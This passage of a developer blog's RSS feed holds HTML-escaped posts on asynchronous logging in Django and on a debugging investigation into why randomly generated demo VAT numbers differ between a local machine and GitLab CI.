&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;logging&lt;/span&gt;
&lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;basicConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INFO&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getLogger&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;asyncio&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;asgiref.sync&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sync_to_async&lt;/span&gt;


&lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;
&lt;span class="n"&gt;ainfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sync_to_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;task1&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;- Run task1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;task2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;- Run &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# await ainfo(&amp;quot;Start task runner &amp;quot;)&lt;/span&gt;
    &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Start task runner &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="c1"&gt;# await ainfo(&amp;quot;Start loop %s.&amp;quot;, count)&lt;/span&gt;
        &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Start loop &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;task1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;task2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;task2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# await ainfo(&amp;quot;Done task runner &amp;quot;)&lt;/span&gt;
    &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Done task runner &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_event_loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_until_complete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;“If you want to call a part of Django that is still synchronous, you will need
to wrap it in a sync_to_async() call. If you accidentally try to call a part of
Django that is synchronous-only from an async view, you will trigger Django’s
asynchronous safety protection to protect your data from corruption.”&lt;/p&gt;
&lt;p&gt;“Transactions do not yet work in async mode. If you have a piece of code that
needs transactions behavior, we recommend you write that piece as a single
synchronous function and call it using sync_to_async().”&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/45842926/python-asynchronous-logging"&gt;https://stackoverflow.com/questions/45842926/python-asynchronous-logging&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/topics/async/"&gt;https://docs.djangoproject.com/en/6.0/topics/async/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://discuss.python.org/t/support-async-logging-module/50130"&gt;https://discuss.python.org/t/support-async-logging-module/50130&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0424.html</guid><pubDate>Wed, 24 Apr 2024 00:00:00 +0000</pubDate></item><item><title>Fictive VAT numbers are different on GitLab</title><link>https://luc.lino-framework.org/blog/2024/0416.html</link><description>&lt;section id="fictive-vat-numbers-are-different-on-gitlab"&gt;
&lt;h1&gt;Fictive VAT numbers are different on GitLab&lt;a class="headerlink" href="#fictive-vat-numbers-are-different-on-gitlab" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;April 16–17, 2024&lt;/p&gt;
&lt;p&gt;I’m investigating for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5542"&gt;#5542&lt;/a&gt; (Two VAT doctests fail because generated
VAT numbers differ).&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo&lt;/span&gt;&lt;/code&gt; fixture of the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat&lt;/span&gt;&lt;/code&gt; plugin assigns a fictive and randomly
generated (but syntactically valid) VAT number to each &lt;a class="reference external" href="https://using.lino-framework.org/plugins/contacts.html#term-business-partner" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;business partner&lt;/span&gt;&lt;/a&gt;.
For some reason, the generated VAT numbers differ between my computer and GitLab
CI, causing two doctests (&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/plugins/eevat.rst&lt;/span&gt;&lt;/code&gt; and
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/plugins/bevats.rst&lt;/span&gt;&lt;/code&gt;) to fail.&lt;/p&gt;
&lt;p&gt;What causes this difference? That’s the question of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5542"&gt;#5542&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;The VAT numbers are assigned by &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatNumberManager.generate_vid&lt;/span&gt;&lt;/code&gt;. I added a diagnostic log
message in this method:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;20240416 generated VAT id &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; for &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Then I run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; with the new &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#cmdoption-inv-prep-verbose" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--verbose&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
option. The first demo database to get prepared is &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;cosi2&lt;/span&gt;&lt;/code&gt;. The resulting
messages are always the same:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;7088.996.857&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Bäckerei&lt;/span&gt; &lt;span class="n"&gt;Ausdemwald&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;4685.739.309&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Bäckerei&lt;/span&gt; &lt;span class="n"&gt;Mießen&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;4181.505.692&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Bäckerei&lt;/span&gt; &lt;span class="n"&gt;Schmitz&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;9045.438.159&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Garage&lt;/span&gt; &lt;span class="n"&gt;Mergelsberg&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;NL&lt;/span&gt; &lt;span class="mf"&gt;220.876.686&lt;/span&gt;&lt;span class="n"&gt;B01&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Donderweer&lt;/span&gt; &lt;span class="n"&gt;BV&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;NL&lt;/span&gt; &lt;span class="mf"&gt;451.948.587&lt;/span&gt;&lt;span class="n"&gt;B01&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Van&lt;/span&gt; &lt;span class="n"&gt;Achter&lt;/span&gt; &lt;span class="n"&gt;NV&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;DE&lt;/span&gt; &lt;span class="mf"&gt;143.956.862&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Hans&lt;/span&gt; &lt;span class="n"&gt;Flott&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Co&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;DE&lt;/span&gt; &lt;span class="mf"&gt;135.079.295&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Bernd&lt;/span&gt; &lt;span class="n"&gt;Brechts&lt;/span&gt; &lt;span class="n"&gt;Bücherladen&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;DE&lt;/span&gt; &lt;span class="mf"&gt;138.433.397&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Reinhards&lt;/span&gt; &lt;span class="n"&gt;Baumschule&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt; &lt;span class="mf"&gt;86.915.334.564&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Moulin&lt;/span&gt; &lt;span class="n"&gt;Rouge&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt; &lt;span class="mf"&gt;66.435.589.280&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Auto&lt;/span&gt; &lt;span class="n"&gt;École&lt;/span&gt; &lt;span class="n"&gt;Verte&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;EE&lt;/span&gt; &lt;span class="mf"&gt;848.217.541&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Maksu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ja&lt;/span&gt; &lt;span class="n"&gt;Tolliamet&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;4018.258.949&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Electrabel&lt;/span&gt; &lt;span class="n"&gt;Customer&lt;/span&gt; &lt;span class="n"&gt;Solutions&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The same messages also come on &lt;a class="reference external" href="https://gitlab.com/lino-framework/book/-/jobs/6640438653"&gt;GitLab&lt;/a&gt;, but with other
VAT numbers:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;2914.517.428&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Bäckerei&lt;/span&gt; &lt;span class="n"&gt;Ausdemwald&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;8750.836.192&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Bäckerei&lt;/span&gt; &lt;span class="n"&gt;Mießen&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;1958.116.531&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Bäckerei&lt;/span&gt; &lt;span class="n"&gt;Schmitz&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;4534.589.652&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Garage&lt;/span&gt; &lt;span class="n"&gt;Mergelsberg&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;NL&lt;/span&gt; &lt;span class="mf"&gt;237.725.353&lt;/span&gt;&lt;span class="n"&gt;B01&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Donderweer&lt;/span&gt; &lt;span class="n"&gt;BV&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;NL&lt;/span&gt; &lt;span class="mf"&gt;643.080.485&lt;/span&gt;&lt;span class="n"&gt;B01&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Van&lt;/span&gt; &lt;span class="n"&gt;Achter&lt;/span&gt; &lt;span class="n"&gt;NV&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;DE&lt;/span&gt; &lt;span class="mf"&gt;928.188.312&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Hans&lt;/span&gt; &lt;span class="n"&gt;Flott&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Co&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;DE&lt;/span&gt; &lt;span class="mf"&gt;593.748.463&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Bernd&lt;/span&gt; &lt;span class="n"&gt;Brechts&lt;/span&gt; &lt;span class="n"&gt;Bücherladen&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;DE&lt;/span&gt; &lt;span class="mf"&gt;618.180.575&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Reinhards&lt;/span&gt; &lt;span class="n"&gt;Baumschule&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt; &lt;span class="mf"&gt;65.449.289.186&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Moulin&lt;/span&gt; &lt;span class="n"&gt;Rouge&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt; &lt;span class="mf"&gt;40.268.455.901&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Auto&lt;/span&gt; &lt;span class="n"&gt;École&lt;/span&gt; &lt;span class="n"&gt;Verte&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;EE&lt;/span&gt; &lt;span class="mf"&gt;211.892.074&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Maksu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ja&lt;/span&gt; &lt;span class="n"&gt;Tolliamet&lt;/span&gt;
&lt;span class="mi"&gt;20240416&lt;/span&gt; &lt;span class="n"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="n"&gt;BE&lt;/span&gt; &lt;span class="mf"&gt;7659.012.310&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Electrabel&lt;/span&gt; &lt;span class="n"&gt;Customer&lt;/span&gt; &lt;span class="n"&gt;Solutions&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;seed()&lt;/span&gt;&lt;/code&gt; method initializes the random number generator, and if you use
the same seed value twice you will get the same random number twice. I verify
this in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#vat-generate-id" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Generating fictive VAT numbers&lt;/span&gt;&lt;/a&gt; (which passes both on my machine and on GitLab).&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;generate_vid&lt;/span&gt;&lt;/code&gt;  is the
only place in Lino where Python’s &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;random&lt;/span&gt;&lt;/code&gt; module is used (there is another
import in the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;users&lt;/span&gt;&lt;/code&gt; plugin to generate the verification code, but this is
never called during &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Calling &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;seed()&lt;/span&gt;&lt;/code&gt; without argument would take the system time (and therefore
yield different random numbers). But we deliberately call &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;random.seed(1)&lt;/span&gt;&lt;/code&gt;
at the global context of &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.choicelists&lt;/span&gt;&lt;/code&gt;, i.e. when that
module is imported. I added another log message at that place:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;20240417&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;NB: Until now the import and the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;random.seed(1)&lt;/span&gt;&lt;/code&gt; call had been conditional
(only when &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;dd.is_installed(&amp;quot;vat&amp;quot;)&lt;/span&gt;&lt;/code&gt;), I removed this condition because it’s
not needed and because it adds complexity. But that didn’t fix our problem.&lt;/p&gt;
&lt;p&gt;One theoretic possibility was that for some reason the sorting order of the
business partners might differ when they get their VAT id.  By comparing the
output between my machine and GitLab we can now exclude this possibility (IOW we
